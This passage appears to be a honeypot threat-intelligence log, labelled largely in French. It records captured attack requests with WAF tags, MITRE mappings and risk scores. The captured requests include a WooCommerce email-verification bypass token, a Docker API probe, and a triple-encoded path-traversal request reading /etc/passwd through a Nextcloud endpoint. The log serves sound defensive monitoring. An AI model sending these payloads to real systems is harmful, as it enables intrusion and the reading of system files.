"Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "http_ua_hash": "b90c131e247a5f269120fb727af518cd", "payload_hash": "7837dc6f890612dae09d7ae5163025ff", "path_pattern_hash": "b51bea0b0354b12292ba48e5901816c7" }, "target_context": { "dst_port": 7001, "service": "http", "service_name": "http", "risk_score": 55 }, "payload_preview": "GET \/my-account\/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macin", "method": "GET", "path": "\/my-account\/", "query_string": "alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0=", "user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.127 Safari\/537.36", "waf_tags": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3" ], "waf_rule_names": [ "rce-0", "nosqli-3" ], "request_line": "GET \/my-account\/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1", "request_sample": "GET \/my-account\/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.127 Safari\/537.36\r\nAccept: \/\r\nAccept-La", "payload_snippet": "GET \/my-account\/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macin", "evidence": { "method": "GET", "path": "\/my-account\/", "query_string": "alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0=", "user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.127 Safari\/537.36", "waf_tags": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3" ], "waf_rule_names": [ "rce-0", "nosqli-3" ], "request_line": "GET \/my-account\/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1", "request_sample": "GET \/my-account\/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.127 Safari\/537.36\r\nAccept: \/\r\nAccept-La", "payload_snippet": "GET \/my-account\/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macin", "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre": "TA0001", "threat_family": [ "unknown" ], "recommended_client_action": "investigate", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "9691d58f06676f7daaadf70a5626a5d27baf7cb7", "protocol_details": { "http_method": "GET", "http_path": "\/my-account\/", "request_line": "GET \/my-account\/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.127 Safari\/537\u2026", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "evidence_snippet": "GET \/my-account\/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macin", "attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/my-account\/", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 62 % \u2014 3 tag(s) WAF", "site_display": { "classification": null, "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%", "classification_reason_label_fr": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 55\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 70 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 70, "confidence_breakdown": { "waf": 92, "classification": 72, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 30, "risk_score": 55, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 55, "risk_label": "Moyen", "service_name": "http", "service_label_fr": "HTTP", "dst_port": 7001, "protocol_emulated": true, "tags_summary": [ "MITRE-T1190" ], "tags_summary_labels_fr": [ "MITRE-T1190" ], "recommended_action": "investigate", "recommended_action_label": "Investiguer", "mitre": "TA0001", "mitre_technique": "TA0001", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "honeypot-http", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "http_method": "GET", "http_path": "\/my-account\/", "request_line": "GET \/my-account\/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.127 Safari\/537\u2026", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/my-account\/", "evidence_snippet": "GET \/my-account\/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macin", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 62 % \u2014 3 tag(s) WAF", "confidence_factors_fr": "Confiance 70 % \u2014 Score WAF 92 \u00b7 Bonus corr\u00e9lation +8 \u00b7 3 tag(s) WAF", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "http", "service_banner": "honeypot-http", "service_os": "linux", "dst_port": "7001" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "matched_patterns": [], "ban_policy": "advisory_investigate", "tags_list": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "anomaly:high-entropy-query", "net_web_probe" ] }
30/07/2026 21:49:42 UTC	TCP	2375 · DOCKER	docker	Sonde API Docker docker api probe · via DOCKER:2375 · (sonde / probe)	Élevée	Faible · 32
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0007 TA0007 TA0001 Protocole Émulateur DOCKER WAF — Recommandation Surveiller Tags docker_api_probe docker_emulated docker_payload mozi_pattern Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 2375 Chemin / cible — Service DOCKER Payload GET /my-account/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Macin Pourquoi cette classification : Type « docker_api_probe » (signaux protocolaires) · confiance 0% Confiance classification 8% Corrélation +8 Risque capteur Faible · 32 Confiance : Confiance 0 % — 5 signal(aux) capteur Protocole émulé 1 Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 User-Agent — Règles WAF — Payload (extrait) GET /my-account/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Macin Requête brute (extrait) GET /my-account/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15 Accept: / Accept-Languag Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234", "emulator_response_len": 162, "bytes_in": 288, "payload_entropy": 5.560036455142765, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "docker", "app_proto": "docker", "asn": 45102, "country": "JP", "dst_port": 2375, "risk_waf": 8, "risk_classification": 60, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 30, "risk_novelty": 25, "risk_boost": 20, "risk_granularity": 4.8, "risk_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25 }, "risk_score": 32, "tag_count": 5, "anomaly_count": 0, "campaign_key": "e3d7f544a866a533f9cf364e707ea0fc45fd045d", "event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "confidence": 0.08, "classification_confidence": 0.08, "precision_score": 0, "precision_signals": [], "kb_rule_ids": [], "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25, "risk_score": 32, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "docker", "risk_confidence_factor": 0, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "532509230711d92b4a9065680adbe049", "path_pattern_hash": "f1831d9f4a5a77b3112c071eb8abe3e6" }, "target_context": { "dst_port": 2375, "service": "docker", "service_name": "docker", "risk_score": 32 }, "payload_preview": "GET \/my-account\/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macin", "request_sample": "GET \/my-account\/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\r\nAccept: \/\r\nAccept-Languag", "payload_snippet": "GET \/my-account\/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macin", "evidence": { "request_sample": "GET \/my-account\/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\r\nAccept: \/\r\nAccept-Languag", "payload_snippet": "GET \/my-account\/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macin", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%" }, "attack_stage": "probe", "mitre_tactics": [ "TA0007", "TA0001" ], "mitre": "TA0007", "threat_family": [ "cloud_infra_scan" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "24b004d0567cb04146d0b90e8a76a9f7e6687362", "protocol_details": { "payload_preview": "GET \/my-account\/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macin", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "evidence_snippet": "GET \/my-account\/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macin", "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 5 signal(aux) capteur", "site_display": { "classification": null, "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "classification_reason_label_fr": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 32\/100", "confidence_pct": 8, "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25, "risk_score": 32, "correlation_boost": 8 }, "attack_stage": "probe", "attack_stage_label": "Sonde \/ probe", "attack_chain_stage": "discovery", "attack_chain_stage_label_fr": "D\u00e9couverte", "risk_score": 32, "risk_label": "Faible", "service_name": "docker", "service_label_fr": "DOCKER", "dst_port": 2375, "protocol_emulated": true, "tags_summary": null, "tags_summary_labels_fr": null, "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0007", "mitre_technique": "TA0007", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "Docker 24.0.5", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "payload_preview": "GET \/my-account\/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macin", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "evidence_snippet": "GET \/my-account\/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macin", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 5 signal(aux) capteur", "confidence_factors_fr": "Confiance 8 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": true, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": false, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "discovery", "label_fr": "D\u00e9couverte", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "docker", "service_banner": "Docker 24.0.5", "service_os": "linux", "dst_port": "2375" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "discovery", "matched_patterns": [], "ban_policy": "advisory_monitor", "tags_list": [ "docker_api_probe", "docker_emulated", "docker_payload", "mozi_pattern", "net_docker_api_probe" ] }
30/07/2026 21:49:42 UTC	TCP	7001 · HTTP	http	Traversal LFI lfi path traversal · via HTTP:7001 · (tentative d'exploit) · → /index.php/apps/app_api/proxy/flow/api/w/_/jobs…	Élevée	Élevé · 65
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE T1083 TA0001 TA0002 Protocole GET /index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F… UA Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.8 Émulateur HTTP WAF 43 Recommandation Investiguer Tags 950260:lfi-0 950264:lfi-1 950316:lfi-14 950326:rce-0 Cible HTTP GET /index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 7001 Chemin / cible /index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd Service HTTP Pourquoi cette classification : Type « lfi_path_traversal » (signaux protocolaires) · confiance 100% Confiance classification 100% Corrélation +8 Risque capteur Élevé · 65 Confiance : Confiance 100 % — 6 tag(s) WAF Protocole émulé 1 Signaux CRS-930100-sub Technique MITRE T1083 Tactiques MITRE TA0001 TA0002 Ligne de requête `GET /index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP/1.1` User-Agent Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.8 Règles WAF lfi-0 lfi-1 lfi-14 rce-0 nosqli-3 Payload (extrait) GET /index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP/1.1 Requête brute (extrait) GET /index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.8 Accept: / Accept-Langua Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043", "emulator_response_len": 177, "http_header_count": 5, "http_query_params": 0, "http_path_depth": 11, "http_path_ext": "%25252fetc%25252fpasswd", "http_ua_hash": "fe7fb6c34ca2836438b24e584c3a1c1a310eabc3", "http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b", "http_target_hash": "38fbfeb80d4afe61669b78dc3f633d7b05affef9", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": true, "bytes_in": 289, "payload_entropy": 5.359758420875268, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "http", "app_proto": "http", "asn": 45102, "country": "JP", "dst_port": 7001, "risk_waf": 100, "risk_classification": 78, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 33, "risk_novelty": 25, "risk_boost": 0, "risk_granularity": 6.6, "risk_breakdown": { "waf": 100, "classification": 78, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 25 }, "risk_score": 65, "tag_count": 7, "anomaly_count": 0, "campaign_key": "d7231cdba4b1b718e696848a5050b80c2cabe20b", "event_fingerprint": "3e287b10c254526de66ad4529471e73a2caa2e3d", "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%", "confidence": 1, "classification_confidence": 1, "precision_score": 210, "precision_signals": [ "CRS-930100-sub" ], "kb_rule_ids": [ "CRS-930100-sub" ], "confidence_breakdown": { "waf": 100, "classification": 78, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 25, "risk_score": 65, "correlation_boost": 8 }, "named_classification_skipped": false, "classification_parent": "path_traversal", "service_name": "http", "risk_confidence_factor": 100, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "http_ua_hash": "1c28d4a85dae1d4d25766d9c95d60c7d", "payload_hash": "3e6f8570bc07bbaad0d955903b10067a", "path_pattern_hash": "dbc6dada9012fde9b36b9c57fda885de" }, "target_context": { "dst_port": 7001, "service": "http", "service_name": "http", "risk_score": 65 }, "method": "GET", "path": "\/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd", "user_agent": "Mozilla\/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko\/ Firefox\/3.8", "waf_tags": [ "950260:lfi-0", "950264:lfi-1", "950316:lfi-14", "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3" ], "waf_rule_names": [ "lfi-0", "lfi-1", "lfi-14", "rce-0", "nosqli-3" ], "request_line": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP\/1.1", "payload_snippet": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP\/1.1", "evidence": { "method": "GET", "path": "\/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd", "user_agent": "Mozilla\/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko\/ Firefox\/3.8", "waf_tags": [ "950260:lfi-0", "950264:lfi-1", "950316:lfi-14", "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3" ], "waf_rule_names": [ "lfi-0", "lfi-1", "lfi-14", "rce-0", "nosqli-3" ], "request_line": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP\/1.1", "request_sample": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko\/ Firefox\/3.8\r\nAccept: \/\r\nAccept-Langua", "payload_snippet": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP\/1.1", "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre_techniques": [ "T1083" ], "mitre": "T1083", "threat_family": [ "path_traversal" ], "recommended_client_action": "investigate", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "268351393a76b3a36d0e352e0808da043b541179", "protocol_details": { "http_method": "GET", "http_path": "\/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd", "request_line": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko\/ Firefox\/3.8", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "evidence_snippet": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP\/1.1", "attack_vector": "lfi path traversal \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs\u2026", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 100 % \u2014 6 tag(s) WAF", "site_display": { "classification": null, "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%", "classification_reason_label_fr": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 65\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 100, "confidence_breakdown": { "waf": 100, "classification": 78, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 25, "risk_score": 65, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 65, "risk_label": "\u00c9lev\u00e9", "service_name": "http", "service_label_fr": "HTTP", "dst_port": 7001, "protocol_emulated": true, "tags_summary": [ "CRS-930100-sub" ], "tags_summary_labels_fr": [ "CRS-930100-sub" ], "recommended_action": "investigate", "recommended_action_label": "Investiguer", "mitre": "T1083", "mitre_technique": "T1083", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "honeypot-http", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "http_method": "GET", "http_path": "\/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd", "request_line": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko\/ Firefox\/3.8", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "attack_vector": "lfi path traversal \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs\u2026", "evidence_snippet": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP\/1.1", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 100 % \u2014 6 tag(s) WAF", "confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 6 tag(s) WAF", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "http", "service_banner": "honeypot-http", "service_os": "linux", "dst_port": "7001" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, 